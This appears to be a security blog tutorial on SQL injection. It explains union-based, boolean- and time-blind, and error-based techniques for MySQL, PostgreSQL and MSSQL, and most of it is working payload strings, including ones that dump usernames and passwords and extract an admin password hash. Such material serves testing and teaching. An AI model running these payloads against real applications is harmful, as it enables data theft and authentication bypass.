SQL Injection: Union-Based, Blind & Error-Based Exploitation Techniques

SQL injection remains one of the most critical web application vulnerabilities, ranked in the OWASP Top 10 for over a decade. SQL injection attacks manipulate database queries to bypass authentication, extract sensitive data, and in some cases achieve remote code execution. This guide covers union-based, blind (boolean and time-based), and error-based SQL injection with practical payloads and exploitation techniques.

Understanding SQL Injection Attack Types

SQL injection vulnerabilities fall into three categories based on how the database response is returned to the attacker: in-band (data visible in response), inferential/blind (data inferred from behavior), and out-of-band (data exfiltrated via DNS/HTTP).

Union-Based SQL Injection

Union-based SQL injection uses the UNION operator to append a second query to the original, returning data directly in the page response. This requires knowing the number of columns and their data types.

-- Step 1: Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  -- Error means 3 columns

-- Step 2: Find visible columns
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--

-- Step 3: Extract data
' UNION SELECT username,password,NULL FROM users--

-- MySQL specific
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract version and DB name
' UNION SELECT @@version,database(),user()--

Boolean-Based Blind SQL Injection

When the application returns different responses for true/false conditions but no data, use boolean-based blind injection to extract data one bit at a time.

-- Test for boolean blind
' AND 1=1--   (true - page loads normally)
' AND 1=2--   (false - different response)

-- Extract database name character by character
' AND SUBSTRING(database(),1,1)='a'--
' AND SUBSTRING(database(),1,1)='b'--

-- Extract admin password hash
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

-- Using ASCII comparison (more reliable)
' AND ASCII(SUBSTRING(database(),1,1))>97--
' AND ASCII(SUBSTRING(database(),1,1))=109--

Time-Based Blind SQL Injection

Time-based blind injection uses conditional delays to extract data when the page response is identical for true/false. If the condition is true, the query sleeps for a set time.

-- MySQL time-based blind
' AND SLEEP(5)--   (delays 5 seconds = vulnerable)
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--

-- PostgreSQL
'; SELECT pg_sleep(5)--
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM sysobjects WHERE xtype='U')>0 WAITFOR DELAY '0:0:5'--

Error-Based SQL Injection

Error-based injection extracts data through database error messages when errors are displayed in the response.

-- MySQL ExtractValue error-based
' AND ExtractValue(1,CONCAT(0x7e,(SELECT @@version)))--
' AND ExtractValue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)))--

-- MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

References

See OWASP SQL Injection and MITRE ATT&CK T1190 (Exploit Public-Facing Application). For testing methodology refer to the OWASP Testing Guide (WSTG-INPV-005).

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top